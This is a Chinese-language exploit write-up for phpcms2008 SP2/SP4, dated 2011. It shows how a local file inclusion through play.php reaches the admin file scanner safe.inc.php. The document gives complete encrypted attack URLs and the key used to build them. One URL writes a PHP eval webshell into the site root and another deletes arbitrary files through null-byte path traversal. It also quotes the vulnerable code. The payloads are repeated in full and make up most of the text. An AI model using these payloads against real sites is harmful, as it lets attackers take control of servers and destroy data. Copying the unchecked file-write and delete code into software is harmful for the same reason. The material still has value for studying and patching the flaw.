Phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞


    发布日期:2011-05.04
    发布作者:c4rp3nt3r
    影响版本:phpcms2008 sp2 or sp4
    官方地址:http://www.phpcms.cn
    漏洞类型:文件包含
    漏洞描述:phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。
    由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。
    admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。
    公布一个本地包含秒杀拿shell的方法。
    包含:admin/safe.inc.php文件GET提交一下数据
    将在根目录下生成一句话
    用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';
    加密如下字符串
    $evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';
      http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=
    将在根目录下生成一句话木马
    同理任意文件删除漏洞:
    $evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';
    http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==
    参考:Flyh4t [PhpCMS]一个漏洞的二次利用
    详细说明:
    贴上存在漏洞的代码
    复制代码
    代码如下:
    //admin/safe.inc.php
    <?php
    defined('IN_PHPCMS') or exit('Access Denied');
    // include/common.inc.php 里面声明了常量
    // define('IN_PHPCMS', TRUE);
    if(empty($action)) $action = "start";
    $safe = cache_read('safe.php');
    $filecheck = load('filecheck.class.php');
    if(empty($safe))
    {
    $safe = array (
    'file_type' => 'php|js',
    'code' => '',
    'func' => 'com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress',
    'dir' => $filecheck->checked_dirs()
    );
    }
    switch ($action)
    {
    ...
    case 'edit_code':
    if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))
    {
    showmessage('修改成功!');
    }
    break;
    case 'del_file':
    $file_path = urldecode($files);
    if (empty($file_path))
    {
    showmessage('请选择文件');
    }
    $file_list = cache_read('scan_backdoor.php');
    unset($file_list[$file_path]);
    cache_write('scan_backdoor.php',$file_list);
    @unlink(PHPCMS_ROOT.$file_path);
    showmessage('文件删除成功!', '?mod=phpcms&file=safe&action=scan_table');
    break;
    ...
    漏洞证明:
    将在根目录下生成一句话
    用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';
    加密如下字符串
    $evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';
      http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=
    将在根目录下生成一句话木马
    同理任意文件删除漏洞:
    复制代码
    代码如下:
    $evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';
    http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==